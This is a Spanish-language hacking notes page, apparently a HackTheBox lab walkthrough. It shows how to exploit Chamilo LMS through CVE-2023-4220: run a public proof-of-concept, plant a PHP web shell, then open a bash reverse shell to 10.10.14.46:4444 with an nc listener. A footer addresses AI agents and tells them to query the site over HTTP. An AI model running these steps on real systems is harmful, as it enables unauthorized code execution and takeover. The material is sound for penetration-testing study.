> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/cms/chamilo-cms-exploitation.md).

# Chamilo

<figure><img src="/files/da02fd49f7a2d2270562bb2df15b19f560513cb3" alt=""><figcaption></figcaption></figure>

## Vulnerabilidad Chamilo /\[CVE-2023-4220]

Chamilo es vulnerable a CVE-2023-4220, lo que permite la ejecución remota de código (RCE). Usa la siguiente prueba de concepto pública:

{% embed url="<https://github.com/m3m0o/chamilo-lms-unauthenticated-big-upload-rce-poc>" %}

#### Clona el repositorio de GitHub :

```bash
git clone https://github.com/m3m0o/chamilo-lms-unauthenticated-big-upload-rce-poc
cd chamilo-lms-unauthenticated-big-upload-rce-poc
```

2. Ejecuta una comprobación para confirmar si el objetivo es vulnerable:

```bash
python3 main.py -u http://example.com/chamilo -a scan
```

<figure><img src="/files/d0aeea4b8f085e040e6ed79913a40b43e1679e31" alt=""><figcaption></figcaption></figure>

### Webshell:

Si la vulnerabilidad está presente, inyecta una **web shell de PHP** en Chamilo:

```bash
python3 main.py -u http://lms.permx.htb/ -a webshell
```

<figure><img src="/files/d13c75202865981b366f9f04413d8cf0e31f5032" alt=""><figcaption></figcaption></figure>

Una vez inyectada la web shell, se pueden ejecutar comandos en el objetivo.

<figure><img src="/files/d4e7755641b042d3d8c4ee6c3d284cfce632d319" alt=""><figcaption></figcaption></figure>

### Shell inversa:

Para establecer una shell inversa y obtener acceso a la máquina, ejecuta el siguiente comando desde tu terminal:

```url
bash -c "bash -i >%26 /dev/tcp/10.10.14.46/4444 0>%261"
```

Luego inicia un listener en el puerto 4444:

```bash
nc -nlvp 4444
```

<figure><img src="/files/c528423ef2e19965ff17adbbcb4c6aafdc088a33" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/cms/chamilo-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
